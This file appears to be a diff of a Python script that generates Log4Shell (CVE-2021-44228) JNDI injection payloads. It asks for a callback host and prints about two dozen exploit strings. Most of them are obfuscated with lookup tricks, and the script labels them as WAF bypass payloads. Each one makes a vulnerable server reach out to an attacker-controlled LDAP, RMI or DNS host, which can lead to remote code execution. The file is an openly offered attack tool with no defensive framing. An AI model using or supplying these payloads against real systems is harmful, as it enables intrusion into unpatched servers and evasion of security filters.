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Log4j/log4j_payload_generater.py
| 1 | + | #!/usr/bin/env python3 |
| 2 | + | # coding=utf-8 |
| 3 | + | # ****************************************************************** |
| 4 | + | # log4j-paylaod generator: A generic payload generator for Apache log4j RCE CVE-2021-44228 |
| 5 | + | # Author: |
| 6 | + | # Yesspider (Y3$_$pider) |
| 7 | + | # |
| 8 | + | # ****************************************************************** |
| 9 | + | |
| 10 | + | |
| 11 | + | import colorama |
| 12 | + | from colorama import Fore, Back, Style |
| 13 | + | colorama.init(autoreset=True) |
| 14 | + | |
| 15 | + | |
| 16 | + | |
| 17 | + | callback_host = str(input('[+] Enter callback_host [localhost:1389] : ')) |
| 18 | + | #user input to replace callback_host |
| 19 | + | |
| 20 | + | random = str(input('[+] Enter random_string [yesspider] : ')) |
| 21 | + | #user input to replace random_string |
| 22 | + | |
| 23 | + | payload_list = ["${jndi:ldap://{{callback_host}}/{{random}}}", |
| 24 | + | "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", |
| 25 | + | "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", |
| 26 | + | "${jndi:rmi://{{callback_host}}/{{random}}}", |
| 27 | + | "${jndi:rmi://{{callback_host}}}/", |
| 28 | + | "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}", |
| 29 | + | "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", |
| 30 | + | "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", |
| 31 | + | "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", |
| 32 | + | "${jndi:dns://{{callback_host}}/{{random}}}", |
| 33 | + | "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}", |
| 34 | + | "${jndi:dns://{{callback_host}}}", |
| 35 | + | "${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}", |
| 36 | + | "${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", |
| 37 | + | "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", |
| 38 | + | "${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", |
| 39 | + | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", |
| 40 | + | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}", |
| 41 | + | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}", |
| 42 | + | "${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}", |
| 43 | + | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}", |
| 44 | + | "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}", |
| 45 | + | "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}", |
| 46 | + | "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}", |
| 47 | + | "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", |
| 48 | + | "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", |
| 49 | + | "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"] |
| 50 | + | |
| 51 | + | |
| 52 | + | # logo , auther_name and tool discription |
| 53 | + | |
| 54 | + | print () |
| 55 | + | |
| 56 | + | print (f"{Fore.CYAN}******************************************************************") |
| 57 | + | print ("log4j-paylaod generator: A payload generator for Apache log4j RCE CVE-2021-44228") |
| 58 | + | print ('\033[31m' + "Author:") |
| 59 | + | print ("Yesspider") |
| 60 | + | print ("") |
| 61 | + | print(f"{Fore.YELLOW} __ __ __ __ ") |
| 62 | + | print(f"{Fore.YELLOW}/ \ / | / | / | ") |
| 63 | + | print(f"{Fore.YELLOW}$$ \ /$$/______ _______ _______ ______ $$/ ____$$ | ______ ______ ") |
| 64 | + | print(f"{Fore.YELLOW} $$ \/$$// \ / | / | / \ / | / $$ | / \ / \ ") |
| 65 | + | print(f"{Fore.YELLOW} $$ $$//$$$$$$ |/$$$$$$$/ /$$$$$$$/ /$$$$$$ |$$ |/$$$$$$$ |/$$$$$$ |/$$$$$$ |") |
| 66 | + | print(f"{Fore.YELLOW} $$$$/ $$ $$ |$$ \ $$ \ $$ | $$ |$$ |$$ | $$ |$$ $$ |$$ | $$/ ") |
| 67 | + | print(f"{Fore.YELLOW} $$ | $$$$$$$$/ $$$$$$ | $$$$$$ |$$ |__$$ |$$ |$$ \__$$ |$$$$$$$$/ $$ | ") |
| 68 | + | print(f"{Fore.YELLOW} $$ | $$ |/ $$/ / $$/ $$ $$/ $$ |$$ $$ |$$ |$$ | ") |
| 69 | + | print(f"{Fore.YELLOW} $$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ $$/ $$$$$$$/ $$$$$$$/ $$/ ") |
| 70 | + | print(f"{Fore.YELLOW} $$ | ") |
| 71 | + | print(f"{Fore.YELLOW} $$ | ") |
| 72 | + | print(f"{Fore.YELLOW} $$/ ") |
| 73 | + | print (f"{Fore.CYAN}******************************************************************") |
| 74 | + | |
| 75 | + | print () |
| 76 | + | |
| 77 | + | print (f"{Fore.CYAN}Callback_Host = ", callback_host) |
| 78 | + | print (f"{Fore.CYAN}Random_String = ", random) |
| 79 | + | |
| 80 | + | print () |
| 81 | + | print ('\033[31m' + "log4j_WAF_bypass_payloads... ") |
| 82 | + | print () |
| 83 | + | |
| 84 | + | |
| 85 | + | |
| 86 | + | |
| 87 | + | #replace host and random string |
| 88 | + | |
| 89 | + | for i in payload_list: |
| 90 | + | new_payload = i.replace("{{callback_host}}", callback_host); |
| 91 | + | new_payload = new_payload.replace("{{random}}", random); |
| 92 | + | # print the final paylaod list |
| 93 | + | print (new_payload) |
| 94 | + | |
| 95 | + | print () |
| 96 | + | |